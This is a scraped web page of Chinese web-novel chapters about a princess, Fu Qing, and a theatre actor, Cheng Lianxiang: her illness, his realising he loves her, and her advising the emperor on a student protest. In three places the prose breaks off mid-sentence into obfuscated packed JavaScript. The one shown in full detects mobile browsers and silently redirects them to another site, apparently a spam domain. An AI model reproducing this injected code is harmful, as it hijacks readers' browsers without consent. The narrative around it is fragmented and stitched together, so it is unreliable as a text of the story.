“你!”程怜香的幽微心思彻底被苻庆说没有了,生气地瞪了苻庆一眼后,手上动作麻利地整理好后退到了一旁。 熟悉的香味忽然飘远了,苻庆竟有些怅然若失。“怎么了?又不想轻薄我了?” “我就没想过!”程怜香气急败坏地喊道。 苻庆忽然有了力气,“你为什么没想过?你凭什么不想……” 话还没说完,松醪端着药走了进来。 松醪早在外面就听到屋内二人又在争吵,心中还在纳闷苻庆怎么一遇到程怜香便有了精神。但很明显,现在苻庆的身体状况并不是能够争吵的时候。 “公主,病了就别发脾气了,把药喝了早点休息吧。” 苻庆像是抓住了一个救命稻草,完全不理会松醪的劝说,立即告状道:“松醪,你知道程怜香刚才说什么吗?他说他对我没动过心思!” 松醪早已经习惯了苻庆和程怜香之间的相处方式,现在也已经能够脸不红心不跳地听完苻庆说的这些胡话。反而是程怜香,如芒刺背地坐在那里,恨不得自己能上手捂苻庆的嘴。 程怜香站起身,“松醪姑娘,那我就先走了。” “你站住!”苻庆斜着眼看向程怜香,“松醪,把药碗给他,我要他喂我。” 程怜香转身想走,苻庆并不着急,只是沉声反问道:“程怜香,你敢忤逆我?” 反正忤逆也不是一次两次了,程怜香心里想着,抬腿就想继续往外走,没想到最后却被松醪挡住了。 松醪如今已经把苻庆和程怜香的相处过程当成热闹在看,现在看二人又在闹矛盾,虽然心里觉得二人实在是幼稚,但到底还是愿意站在苻庆这边,权当是维护公主的权威。“程伶人,求您行行好。您若是走了,只怕这碗药公主就喝不下去了。” 程怜香不说话,但腿却迈不出去了。 松醪早就发现程怜香有一个心软的好处,再接再厉说道:“程伶人只当是为我们这些下人想一想,别教我们挨公主的骂。” 这话说完,程怜香是再也走不出去了。只能叹口气伸手接过了药碗,转身走回苻庆的床前,认命地坐在了脚踏上。 看来刚才的叫嚷还是费力,这一会苻庆又变回了弱不禁风的小奶猫,倚在床头轻声说道:“你记得吹一吹啊,别烫着我。” 程怜香用勺子轻轻舀着药汁,加速药汁的散热。嘴上却还是不饶人,“一个闺阁在室女居然要外男喂药,真是一点规矩都没有。” “外男,这哪有外男?”苻庆装作不明白的样子左顾右盼,反问程怜香说道:“不信你出去问问,看整个京城还有谁不知道,你早就是我的人了。” 出人意料,程怜香没因为苻庆的混账话生气。而且若真说实话,此刻程怜香的心里竟还有些窃喜。但很快程怜香就意识到了这一点,他赶紧摇摇头,试图把这些奇怪的念头从自己的脑袋中晃出去。 苻庆也发现了程怜香怪异的举动,奇怪的问道:“你在这摇头晃脑的做什么呢?” 程怜香不接话,舀了一勺药在嘴边轻轻吹了吹,送到苻庆嘴边,“快喝药吧。” 药汁入口果然是温的了,苻庆很满意。“你做这些事看着还挺娴熟的。” 程怜香又舀了一勺药吹凉,送到苻庆嘴边。“原先在戏班子里伺候师父吃药习惯了。我师父年轻时唱戏太多伤了根本,稍不注意便会咳血,所以才要日日吃人参养荣丸。” 苻庆点头,又乖乖喝了一口药。“程怜香,若你是个女的而我是男的就好了,到时候我一定娶你,你看起来就有贤妻良母的天赋。” 夸奖换回的只有程怜香的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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除苻庆外,翠华庭其他人也都没有睡好。松醪在床边守到半夜,忽然发觉苻庆发起高烧,慌忙派人到外头请大夫。可三更半夜大夫哪有这么好找,眼见着苻庆越发浑身滚烫,松醪只能在屋里急得打转。 翠华庭这边灯火通明,揽晴轩本就离得近,程怜香又睡得浅,很快便发现了苻庆发烧的事情。到翠华庭问清状况后,程怜香眼睛一转,让松醪吩咐下人套好一辆马车,由自己带着几个小厮往城西赶去。没一会马车返回,两个小厮架着一个白胡子老头下了马车,程怜香走在最后面。 到达翠华庭,松醪早在院门口等待。见那老头由几个人抬着放到院里地上,松醪不由得退后两步。老头瞧着岁数好像不大,却有一把雪白的大胡子。如今虽穿戴整齐,但外衣凌乱,一看就是他人帮忙穿上的。见松醪只是打量,程怜香上前解释道:“松醪姑娘莫怪,事急从权,我是硬把他从床上拖起来的。” 松醪心中有些担忧,问道:“程伶人,这能行吗?” 程怜香点头,“他叫顾仙人,是我师父的好朋友。虽说脾气古怪,但你放心,他的医术即便在整座京城都是数一数二的。” “可是这……”松醪欲言又止。 “他就是看着邋遢了些,这会因为我半夜把他拖起来正闹脾气呢。松醪姑娘你先进屋帮公主换好衣服,我这就让他过来。” 见程怜香如此肯定,松醪还是很相信程怜香的人品,立刻走回屋帮苻庆换衣服去了。程怜香走到躺在地上的顾仙人身旁,蹲下身轻声劝道:“顾老仙,快起来了。这都已经到公主府了,别出洋相。” 地上人一动不动。 程怜香无奈,却还是耐着性子说道:“老神仙,你就快起来吧,现在真的是有一条命等着你救呢。” 回答他的只有寂静。 见地上的人打定主意不动,程怜香心里有些着急。他记挂着苻庆还在发烧,心里只想着能够赶紧帮苻庆诊病。程怜香站起身,语气也变得有些焦急。“老东西,你以为现在还是在你的破药庐里?这可是公主府,你若是再这般没规矩,贵人可不会给你好果子吃。” 正说着,松醪从屋内走出,见程怜香这样讲,立刻配合着说道:“这是哪来的老鬼,敢这般没规矩?来人,把他给我吊起来打!” “且慢!”一声中气十足的嗓音从地上传出。顾仙人睁开眼睛,一个鲤鱼打挺但没有起来。程怜香捂住脸,顾仙人却并不放弃,只是在地上一味做无用的尝试,“都等等啊,我肯定能起来的。” 眼见着地上的人如同一尾被打捞上岸的鲤鱼般原地扑腾,程怜香看不下去,走上前抓住顾仙人的胳膊把对方拉了起来。“老仙,别在这展示功夫了,救人要紧。” 松醪也走上前,“老大夫,我家公主高烧不退,已经烧了好一会了。若大夫能够治好公主,我们府上愿意以重金酬谢。” “重金……不重要,只是悬壶济世本就是我的本分。”顾仙人搓搓手,“病人在哪!” 25. 心痛 进屋为苻庆把过脉,顾仙人抚了一把自己的大胡子,不急不忙地从怀中摸出一包银针。顾仙人先让松醪扶起苻庆,在苻庆头背处几个穴位下针,接着又从苻庆耳尖、手臂上放血。没一会,松醪便感觉怀中的苻庆呼吸变得平稳,身上也不再如同手炉般滚烫了。 收起针,顾仙人点点头,“公主似乎是吃错了东西,不打紧。这几日清淡饮食,养一养便可。” 见苻庆有所好转,程怜香也松了口气。拉着顾仙人走出屋子,笑着说道:“老仙,我就说你的医术一定没问题。还好你今日在京城,否则我也不能放心。” 顾仙人被对方夸得心花怒放,嘿嘿一笑说道:“也是让你小子撞上了。我此次回京只不过为了拿点东西,本想着回来悄无声息的,谁知竟被你给抓住了。” 程怜香不置可否,一副看透的表情。“得了吧,三月是茶叶上市的时节。这个时候你不回京城,难道在山洼子里等着茶叶自己飞进去?” “你个机灵鬼。”顾仙人伸手拧了一把程怜香的耳朵,“我还没问你呢,你不在和春班好好伺候你师父,怎么跑到这公主府里来了?” 看来程大夫确实是刚回京没多久,竟然连这件事都不知道。程怜香没办法,只能黑着脸把和春班入宫唱戏、自己被苻庆抢回公主府当面首的事情讲述了一遍。话音刚落,顾仙人便拍着大腿大笑起来,直笑得俯下身半天直不起腰来。 程怜香本来就觉得这件事由自己说出有些奇怪,见顾仙人笑成这样更加气急败坏,开口喊道:“你笑什么啊!” “废话!我笑,当然是笑你啊!”顾仙人抚着胸脯给自己顺气,“想不到啊想不到,这世上还真是一物降一物!从前我就跟你师父说过,你这个臭脾气日后定会讨个脾气更大、能治得住你的婆娘,如今竟应验了!”说完,又抚掌大笑起来。 程怜香阴沉着脸,指着顾仙人威胁道:“你再胡说,一会松醪姑娘出来了,还得找人打你。” “你放心吧,我治好了他们公主,那姑娘感谢我还谢不过来呢,怎可能打我?”顾仙人摸着胡子幻想道:“说不定今年我就能喝上宫里御用的茶叶了。” “我呸。”程怜香想了想苻庆生气时凶神恶煞的样子,“还好今日是她病了,否则看到你刚才在公主府撒泼,她绝对是要揍你的。” “她?”顾仙人奸笑着眯起眼睛,“小香香,看来你在公主府的地位不低啊,居然敢这样称呼公主?怎么,如今你也算是得宠了?那公主平日里有没有赏什么好茶给你,快拿出来让我尝尝。” “你才得宠呢,你全家都得宠!”程怜香一把推开顾仙人。 顾仙人一愣,“这么大反应?不对劲啊。小香香,你不会入府这么长时间,到现在没挨上公主的床榻吧?那你也忒笨了些,自荐枕席都不会吗?” 程怜香只觉得脸庞越来越烫,赶紧制止住顾仙人的胡说八道。“你胡说什么!” 顾仙人心中觉得有些可惜,抚了把胡子,“小香香啊,这就是你的不对了。虽说你从前唱曲颇有几分天赋吧,但如今既然换了营生,便应当兢兢业业才是。若你还是从前那副嘴硬做派、半点软话都说不出来,那让公主如何怜惜你、宠爱你啊?你又如何能坐稳公主府头牌面首的宝座呢?” 眼见着程仙人说的话是越来越肆无忌惮,程怜香就差跳起来反驳对方。“你,你闭嘴!程老仙,你若这么想当面首,那换你来当好了!” “我倒想呢,若我能年轻三十岁,哪轮得着你在此说话?”顾仙人毫不顾忌程怜香的气愤,仍然在滔滔不绝,“再说,你别看不起做面首的,做面首怎么了?俗话说,三百六十行,行行出状元。只要能凭真本事养活自己的,就都是好营生!再说,就你现在的水平来说,想做个成功的面首,你还远不够格呢……” 话还没说完,顾仙人便被程怜香猛地推出了院门,顾仙人这才发现两人已经走到了公主府门口。“自有小厮们会送你回去。不会说话的老东西,下次我让我师父揍你。” 顾仙人毫不在意程怜香的无礼,反而抚了一把胡子,笑呵呵着说道:“你放心,公主迟早还会让你来寻我的。小香香,咱们过几日再会!”说完,大步流星地转身离开。 见顾仙人在小厮的陪同下离开,程怜香转身往回走。恰好碰到走出来寻找顾仙人的松醪,见顾仙人已经走了,松醪颇有些惋惜,“公主已经不烧了。多亏了那位老先生,待公主好转奴婢一定派人向老先生登门致谢。” 程怜香知道苻庆已经退烧,心也就完全放回了肚子里,后知后觉感到困倦,便赶紧告辞返回揽晴轩休息了。 这一夜过得波折,但对于苻庆而言却没什么概念。后半程她睡得十分安稳,待醒来时除了身上略感乏力,旁的症状已经都没有了。听闻松醪转述完夜里的情况,苻庆立刻派人给顾仙人送去五十两银子。 吃过早饭,程怜香又过来了。苻庆此时已经知道顾仙人是程怜香请来的,虽然她不明白昨晚刚气势汹汹抛下自己的程怜香为何又会专门为了自己出去请大夫,但到底还是对程怜香很感激。 “我知道昨晚的事情了,”苻庆倚在床头,“程怜香,谢谢你。” 程怜香有些不适应苻庆一本正经的样子,连忙摆手,“你要谢就去谢顾老仙吧,他最爱喝茶,你若能给他封一包宫里的贡茶送过去,他准高兴地觉都睡不着。” “想不到那老大夫竟有如此雅好。”苻庆还有没力气,笑的时候牵动着太阳穴疼,“这个不难,我这就让松醪派人回宫取最好的贡茶回来。” 程怜香见苻庆面色红润了许多,心中觉得安心,“其实只要你能好了,旁的什么都不重要。” 苻庆心头一暖,却又觉得自己好笑,这不过是程怜香随口一句话,怎么还能让自己倍感安慰。忙岔开话题问道:“你跟松醪说这位老大夫是你师父的朋友,他们是怎样认识的?” “我师父年轻时曾跟着旁的戏班子唱戏,程老仙那时候就在戏班对过的一家药铺做学徒,二人就是这样认识的。后来我师父出来自立门户,程老仙要出去云游四海,二人因此分别过一段时间。谁知再到重逢时,我师父已经坏了嗓子,时常咳血,情况很是危急。多亏程老仙医术高超,将我师父救了回来,我师父如今日日都吃人参养荣丸的法子也是程老仙想出来的。” “这么说,我也应当感谢你师父。若不是他,你也不能认识医术这样好的老先生。”苻庆点头,脑子里先想到上次在老郎庙遇见的那个颇为和蔼的老先生。 “行了,上次在老郎庙你不也帮我了吗?”程怜香莫名感觉今天的苻庆让他有些陌生,“一来一去,咱们算扯平了。” 苻庆如今身上有了力气,说的话也多了些。“对了,你昨日不是想问我入宫是为着什么吗?正好我也要嘱咐你一件事。”说完,苻庆将国子监学生闹事的事情告知了程怜香,“本来我觉得无所谓,万事只要有我在就好。可如今病来如山倒,我想着还是嘱咐你一声,这几日就先别出去了,在府中乖巧些。免得到时候真出了什么事,我生着病,即使想帮你,也是有心无力。” 程怜香没想到苻庆生着病还记挂着自己,心里颇有些甜蜜与酸涩交织的感觉。甜蜜是因为苻庆惦记着自己,酸涩是因为感觉自己实在没用。苻庆说得对,如果没有她护着,宫内宫外随便一个人都可以将自己碾死。 程怜香点点头,“你放心吧,我不会乱跑的。” 苻庆说完话有些疲惫,开始闭目养神。程怜香见苻庆不说话了,本想直接起身离开。却在起身时发现苻庆手边的茶杯已经空了。程怜香端起茶壶摇一摇,果然茶壶也空了。由于苻庆已经闭上眼睛,程怜香不愿出声惊动苻庆,便自己端着茶壶走了出去。 程怜香在房门口遇到了松醪,松醪手中已经端了倒好水的茶壶走过来。为了不让松醪再跑一趟,程怜香便接过水壶端了进来。 为苻庆的茶杯倒满水,程怜香准备转身离开。却在转身时听到苻庆叹气,程怜香动作一滞,想着苻庆可能又有哪里不舒服,忙又转身回来。 “松醪,要我说杜至善就是个混账,你看他惹出来的乱子!若不是他,我也不至于生病,更不至于都病了还要想着过几日进宫怎样给陛下出主意,想好好休息休息都不能……”苻庆睁开眼,却看见是程怜香目瞪口呆地站在那里,也很是惊讶,连忙问道:“怎么是你,松醪呢?” “松醪姑娘去收茶壶了。”程怜香还由于苻庆刚才说的话感到难以置信,毕竟依据苻庆刚才所讲她和杜至善已经十分熟悉,“你刚才说是因为杜至善你才生病的,这是什么意思?他到底惹出了什么乱子?” 苻庆抿了抿嘴唇,此事虽说是由程怜香而起,但发展到现在又实在与程怜香无关。特别是程怜香明明还专门嘱咐了要她一定不要再想着报复宁慈心,结果最后她还是没有听话。眼看着如今又出了事情,苻庆是真不想将这件事告诉程怜香,更不想让程怜香再因为自己无辜受到牵连。 想了想,苻庆还是决定缄口不言。“是小事,你不用知道了。” “我不用知道?那杜至善就配知道了?”程怜香被苻庆明显是刻意的沉默激怒,不自觉皱紧眉头厉声问道:“如果我没记错的话,现在杜至善与你还没有成亲吧?可我怎么听着你俩早已经私下幽会不知多少次了!你什么都告诉他了,就不怕他是个坏人?苻庆,你到底是怎么想的?” “你大胆,竟敢直呼本公主名讳。”苻庆做了做样子,实则根本没有生气。昨夜程怜香刚帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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程怜香一顿,只觉得心口被苻庆的话莫名刺了一刀。他知道苻庆是无意的,也明白苻庆说的是对的。可不知为何,他的心却还是立刻痛了起来。 “行了,这本就不是什么大事,我不告诉你也是觉得没什么意思。”苻庆见程怜香还是一副郁郁寡欢的样子,存了心思逗他,“程怜香,就为了怕我做傻事,你就这么着急吗?甚至还敢直呼我的名讳,你可知道这是杖六十的大罪?还是说,你听说我们私下见面,心里着急了?程怜香,你实话告诉我,你刚才是不是吃醋了?” “你!”程怜香忽然像是被踩到尾巴的小猫跳了起来,梗着脖子说道:“你才吃醋了!若是你和杜至善能够两情相悦,我自当应该高兴才是,毕竟到时候我就可以离开公主府了。” 苻庆见程怜香已经恢复了平时活泼的样子,低头一笑,她当然不会觉得程怜香会是真的吃醋。如今听到程怜香这样讲,便顺着这话题继续说道:“你放心吧。”苻庆抬头看向程怜香,“我答应你,成婚前一定会把你送出府去。连带着你的身契,还你彻底的、真正的自由。” 程怜香顿了一下,紧接着便大声喊了句“好”,尔后冲出房去。 刚刚走回来的松醪见程怜香低着头跑出去,有些疑惑,进门后问苻庆道:“公主,程伶人这是怎么了?怎么这么着急地冲出去了?” 苻庆仰躺着,面上带着微笑,却很疲惫的样子,像是被抽去了力气,“没什么,只是我刚才告诉他有些错误要被修正了而已,他大约是太高兴了吧。” 松醪明白过来苻庆所说的是何事,点点头。 苻庆躺在床上,看着床架上的雕花。不知为什么,这一刻她的心中忽然觉得有些空落落的。 而另一边,揽晴轩内,程怜香正坐在圆凳上出神。 程怜香看过无数戏本子、也演过不少才子佳人戏,从前他总以为只有当书生小姐为对方心动那刻才算得上是爱情的开端。因此这段时间里他一直想尽办法欺骗自己,告诉自己他实则并未对苻庆动心。 可这一刻他才明白,即便往日的那些心动都可以被遮掩,爱意也可以用其他的名义表现,但是当听到苻庆保证成婚前一定会放自己自由时,他的心痛却再也无法被自己当做视而不见。他只要一想到此后自己这一生也许还会无数次经过这座公主府,却再也没有走进来的理由时,便觉得无比心痛,甚至是难以呼吸。 原来,为一个人心动可以不算作是爱,但如果是为一个人心痛,爱意便变得难以隐藏。 程怜香呼出一口气。 他终于确定了,他真的爱上了苻庆,爱上了这个看似蛮横无理实则有情有义的公主,爱上了一个和自己注定此生不可能再产生联系的人。 日后,苻庆会和杜至善正式完婚,重新回到做公主的既定轨道上,完成做公主的义务;而杜至善也会如愿以偿成为驸马,在朝堂上大展宏图,成为皇上的左膀右臂。而这整件事最可笑的问题就在于,看似盘根错杂实则自始至终只有他程怜香一个变数,只有他程怜香一个错误需要被纠正,最终也只有他程怜香一个人离开,通过往后漫长余生岁月来稀释他这份本就不该肖想的感情。 程怜香用手捂住脸。半晌,自嘲一笑。 26. 入局 苻庆病倒第三日,邓嬷嬷派婢女到翠华庭通禀,说自己要来探望苻庆。 一开始松醪还担心邓嬷嬷是因为不放心苻庆是装病不去上课,心里有些紧张,恨不得将一开始大夫开的药方子裱起来挂在一进屋便能看见的最显眼处,苻庆看着松醪如同热锅上的蚂蚁乱转,倚在床上笑,谁知一笑后脑勺疼得仿佛是被人用棍子敲过,最终只能捂着嘴呜呜叫。 二人正说着话,忽然见邓嬷嬷出现在了门口。松醪一愣,随即福身行礼。邓嬷嬷没有多说话,立刻走进来到了苻庆床边。 苻庆仰躺在迎枕上,微笑着点头。“邓嬷嬷。” 邓嬷嬷见到苻庆好像有些诧异,慢一拍才想起福身行礼。 “听闻公主大病一场,奴婢特来探望公主。” 苻庆知道邓嬷嬷是皇上派来的人,将此事告诉皇上她不害怕,却担心薛贵妃会在不经意间得知此事,到时候她身子本就不好,还要分出工夫还为自己担心。 “没事,大夫说可能前些日吃坏了肚子,让嬷嬷看笑话了。” “若公主不嫌弃,老身在宫中时也学过一些切脉的知识。”邓嬷嬷说着话便走向前来。 苻庆一愣,随即伸出胳膊,“那就劳烦邓嬷嬷了。” 她既然并不是骗人,现在也不必遮掩,索性大大方方让邓嬷嬷安心便是。而邓嬷嬷拉过苻庆的胳膊搭脉,半晌又将苻庆的胳膊塞回被子里。 “公主既然已经看过大夫,想来就不会有错。只需要精心调理便是。” 看来邓嬷嬷还真是不放心自己,苻庆在心里默默想着。忽然想到邓嬷嬷给自己布置的账簿,连忙说道:“嬷嬷费心了,我肯定好好养病,争取早日好起来。嬷嬷放心,您布置的账簿我已经算完一半多了,再给我三日我一定能完成。” 邓嬷嬷扭头看向苻庆的书桌,本来如同小山一般的账簿果然少了一些。 “您现在病了就好好养病要紧,至于那些账簿尽管放心,奴婢又不是只在公主府待一两日,不必这般着急。” 这话怎么听起来并没有感觉到多少安慰,苻庆勉强撑起一个笑容。“多谢嬷嬷。” “公主日后也要注意身体,好好保养,免得落下气血不足之症。陛下就时常说起晏呢殿的贵妃娘娘身子弱,在三月份还能着凉,实在让人放心不下。” 苻庆忙不迭地点头称是。 叮嘱的话说完了,邓嬷嬷也就告辞离开了。松醪送邓嬷嬷到院门口,再走回来时还忍不住打寒颤。“公主,邓嬷嬷不愧是宫中的老人了,竟连切脉看病都会,怪不到他们都说紫宸殿的奴婢竟没有一个敢偷懒耍滑的。” 转过头见苻庆歪着头靠在床头发呆,松醪疑惑:“公主,您在想什么呢?” 苻庆看向松醪,“松醪,你说我姨母除了这一次,何时在三月份着凉过?” 松醪一愣。 “我说邓嬷嬷怎么在我这公主府待得如此安逸,一点都不着急的样子。”苻庆嘴角勾起,她是真的觉得此事变得更加有意思了。“原来是与宫中那位时刻联系着呢。” 松醪慢慢稳住神,“公主,要不要奴婢去禀报贵妃娘娘……” “不!”苻庆斩钉截铁说道,“姨母尚在病中,这点小事怎么还能劳烦姨母费心。” 松醪见苻庆如此坚定,明白苻庆心中已经有了主意。 苻庆呼出一口气,“既然是宫中那位不放心我,便让邓嬷嬷在咱们府上安心住着吧。吩咐下去,若是邓嬷嬷想要在府上走动,千万不要阻拦。除了揽晴轩,邓嬷嬷哪里都去的。” “揽晴轩?”松醪微笑,“公主别担心,邓嬷嬷向来是不会去那里的。” “可若是宫里那位要她去呢?”苻庆抬眼看向松醪,松醪被问住,后知后觉有些惊慌。“杜至善去宫里告状时那位不就说要降罪于程怜香吗?” 松醪明白了苻庆的意思。 “公主放心,揽晴轩我选的奴婢都伶俐着呢,一定照顾好程伶人。” 松醪做事苻庆一向是最放心的,“程怜香是无辜的,咱们一定要让他安安稳稳地离开。” 在松醪的监督和威胁下,苻庆认真在床上躺了五日,只感觉自己如同被关在笼子中的鹦鹉,连看到从窗框中透过来的阳光都倍感亲切。病来如山倒,病去如抽丝。这是苻庆第一次如此真实地体会到这句俗语的含义。 终于在第四日,松醪眼见着苻庆已经又恢复平日里活泼的神情,才准许苻庆下床活动。脚再次踩在地面上时,苻庆承认,她真的想哭。畅快地用过一顿早饭,苻庆站在院子的天井中伸了个懒腰,开始在天井中蹦蹦跳跳,边跑边对站在一旁有些无奈的松醪说道:“这才算是重新活过来了呢!” 松醪知道苻庆这几天确实是憋坏了,因此也不制止,只是站在旁边看着苻庆撒欢。 “既然活过来了,也该干点正事了。” 回到房间,苻庆满意地浅酌一口茶水,抬头看向松醪。“外头的情况怎么样了?” 松醪会意,“这几日奴婢着人打探过了,那些学生还不肯上课,或许是见京城府尹不肯松口,竟都闹到审刑院去了。” “审刑院?”苻庆倒有些意外,“看来之前我还真是小瞧了这群书生,本以为他们不过是一团散沙,也许闹不了几天,这样看上去倒反而有几分样子了。” “宫里消息说,宁国公称病不去上朝,朝堂上议论纷纷但不过就两种意见。权贵们主张严惩国子监闹事学子,但还有些以科举入仕的文臣替学子辩护,认为陛下若强硬处理会寒了天下学子的心。陛下犹如被架在火上烤,急得三日都没睡着一个好觉,竟在前日早朝上突然头晕,紧急送回殿后歇息了。”松醪看向苻庆,“公主,若您真打算以身入局,此时确实是最好的时机。” 苻庆点头,“姨母呢?晏呢殿有什么消息吗?” “贵妃娘娘前几日身体便好转了,已经去了紫宸殿侍疾。” 没想到薛贵妃居然不顾自身安危又去侍疾了,苻庆皱眉,“怎么,这么大的后宫除了我姨母竟没旁人了吗?姨母身体不舒服,这几日不好好调养,怎么还一定要去侍疾呢?” 松醪也不清楚具体情况,只是摇头。 苻庆长叹一口气,“我都跟姨母说过多少次了,后宫那些人精明着呢。一个两个的表面上对那位情真意切,实则哪次那位生了病不都是躲得远远的?就会欺负我姨母慈悲心肠。偏偏我姨母又总记不住,回回都第一个请缨去紫宸殿侍奉。如今既要为了后宫子嗣抄写血经,日日吃素,隔几天还要在指尖放血。这样经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446116|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年累月,身体怎么受得了?” 松醪知道薛贵妃这么做都是为了堵住后宫悠悠众口。先皇后出身世家大族,族人世代簪缨,但薛家只不过是三代之前曾有人中过榜眼入朝为官,后人资历平平,勉为其难能够混个小官做一做。薛贵妃父母一辈子只得了苻庆母亲和薛贵妃这两个女儿,如今苻庆母亲去世,薛贵妃连个帮手都没有,只能依仗陛下的宠爱。 “松醪,你让人套好马车。咱们带上帖子,我今日就要入宫。” 松醪眉宇间到底有些担忧,“公主,您真的想好了吗?此事兹事体大,稍有不慎咱们便是惹火烧身啊。” “若是从前我还确实需要想一想,但如今……”苻庆看向桌上那摞账簿,松醪了然。“与其惹得宫里那位猜忌,倒不如做点事情,换得那位的安心。” 松醪明白苻庆的意思,可还是忍不住问道:“那您想好法子了吗?” “法子早就想好了。”苻庆止住话头。解决问题的法子她确实早已经想好了,只是此事皆因杜至善而起。对方既然从去年年底便开始谋划,费了如此大心血,若是最后真的只是为了帮苻庆报仇,这话实在是只能骗鬼。 苻庆心里头明白,这件事不只是杜至善给自己递过来的投名状,同时也是杜至善想要测验自己能力的试金石。毕竟杜至善早已经将收复故土与他能否出将拜相一事划上了等号,若自己只是个银样镴枪头,他也不敢全然信任自己,愿意将后半生谋划全然托付给自己。 很快,马车载着苻庆又一次进入了皇城,到达内廷门外。坐着轿子一路到了紫宸殿外,松醪站在外头等待,内侍领着苻庆从角门走进紫宸殿后殿,进入暖阁。 内侍前去殿内通禀,暖阁中还有一位婢女站在殿内。有人看着苻庆也没法随意坐下,只能站在殿内看着阳光投射在玉石地板上的光影发呆。 没一会,薛贵妃从殿内匆匆走了进来。 “见过姨母。” 薛贵妃扶起苻庆,拉着她走到一旁圆凳上坐下。“松醪呢?怎么没跟着你伺候?” “在外头候着呢。宫中规矩,外宫奴婢不能随意进入紫宸殿。”苻庆拉着薛贵妃的手,“姨母别担心,松醪在府中已经是片刻都不离开我了。” 薛贵妃点头,“我知道你孝顺,想着入宫给陛下请安。只是这一会陛下刚睡下,你若不着急便在这先等一会。” “我不急。”苻庆摇头,接着说道:“陛下龙体欠安,姨母侍奉陛下本是应当。可也要注意自己身体,免得过了病气给陛下。” 薛贵妃明白苻庆的意思,笑着拍拍苻庆的手。抬头对那个婢女说道:“你去后殿盯着些,若陛下醒了立刻过来通禀。这留我同公主说说话,不用你伺候。” 婢女行礼,慢慢退了出去。 薛贵妃见宫女离开,笑着看向苻庆,“好了,这下你可以说实话了吧?” 苻庆抿嘴一笑,“什么都瞒不过姨母的眼睛。姨母,我今日入宫是为了向陛下进言,解陛下心头之患的。” “心头之患?”薛贵妃反应过来苻庆所指的是哪件事,她虽然知道苻庆是有能力的,但却又担心苻庆因此伤及自身。“庆儿,此事非同小可,事关多方利益。你如今刚与杜家定了亲,贸然参与进来恐怕会有不妥吧?” 27. 进言 苻庆摇头,“我的公主之位是陛下所赐,这场婚姻也是陛下的旨意。所以我只知道孝敬君父、为陛下宽心。至于杜家,我想杜太傅身为太子的老师,应当也是能够理解我的。” 薛贵妃见苻庆已下决心也就不再阻止,只是问道:“那你如今有什么好办法?” “此事看似复杂,实则说到底不过是一件家事。”苻庆微笑。“宁国公是陛下肱股之臣,国子监学子也是未来国之栋梁,既然都是陛下的臣子,也就不可能分什么非黑即白、你死我活。因此,陛下也不必担心非要处置了谁才能了结此案。” 薛贵妃点头,“其实这些日子陛下也听了朝中部分大臣的建议,但那些人要不是要求陛下严惩瑕英长公主,要不就是要求陛下惩罚国子监一众学生。陛下为难不已,才迟迟不能下一个决策。” “说到底,这些学子并非真的替那老举子说话,而是借题发挥、想要谋求自己的权益罢了。”苻庆顿了顿,“文人最在意的无非是名声和前途。陛下不妨就从这两个方面入手。一来与其责罚宁国公府倒不如让宁国公认下那婢女做义女,厚葬自杀的老举人。只要外头的面子做好了,那些文人见世家大族愿意向自己低头,再想闹也是师出无名。二来……” 苻庆顿一顿,脑子里想到杜至善胸有成竹的笑容,嘴上继续说道:“国子监学子中不乏已经中举者,现下却因为编书一事不得外派为官,时间长了自然会有人不满。不如求陛下开恩,给他们一个施展抱负的机会。要忙的事情多了,他们自然也就不会在这种事情上费气力了。” 听完苻庆说话,薛贵妃长舒一口气。“只可惜你不能去考科举,否则在朝堂上必有一番大作为,陛下也算是多了一个可相信的心腹。” “无妨,不论身处前朝还是后宫,为陛下分忧都是分内之事。”苻庆笑一笑,“只要姨母觉得我讲的这法子还不算太蠢便好了。” 薛贵妃笑着摇头,“果然孩子大了,一日变一个样。现在我瞧着你,怎么都觉得不像是去年的那个小女孩了。不过这样也好,你这样我才能放心。” 苻庆歪着脑袋看着薛贵妃。 二人这样对坐一会,忽听得外面有人通禀,“贵妃娘娘,陛下醒了。唤苻庆公主过去。” 薛贵妃站起身,“知道了。”说完,拉着苻庆的手往后殿走去。 苻庆走进后殿,见皇上还在床榻上倚着,脸色蜡黄,两颊都以为消瘦有些凹陷进去。心想松醪的消息还真是没打听错,看样子着实被这件事折磨得不轻。 走到皇上床榻前,薛贵妃拉着苻庆跪下。 “陛下,庆儿听闻陛下龙体抱恙,特进宫向陛下请安。” 薛贵妃说完,苻庆立刻俯身下拜。“儿臣向陛下请安。” 皇上笑了笑,抬手示意二人起身,“起来吧。” 薛贵妃和苻庆站起身。 “你能记挂着朕,朕很高兴。” “陛下,庆儿不只记挂陛下的身体,同时还想着能够为陛下分忧。”薛贵妃瞥了苻庆一眼,苻庆会意,忙走上前将自己得知国子监闹事以及想到的对策讲了出来。“陛下,儿臣才疏学浅,只是此事涉及瑕英长公主,儿臣毕竟与瑕英长公主年岁相仿,不忍见瑕英长公主因此受责。还望陛下饶恕儿臣干政一事。” 正巧这时,汪公公端着药碗走了上来。薛贵妃刚要接过,忽听身后响起一个声音。“且慢。今日公主难得入宫,便要公主伺候朕吃药吧。” 薛贵妃动作一滞,连忙祈求皇上道:“陛下,公主还小,只怕伺候的不好,惹恼了陛下。” “胡说。公主都已经定亲了,怎么还能不会做这种事?”皇上看向苻庆,“庆儿,你自己跟你姨母讲,你会做吗?” 苻庆低下头,“陛下放心,儿臣会做的。” 说完,苻庆接过药碗,侍奉皇上喝过药,又端过茶盏伺候皇上漱口。终于完成所有流程,皇上满意地点点头,薛贵妃长舒了一口气,苻庆却在感激还好她前段时间刚大病一场,明白喝药这件事应该如何侍奉。 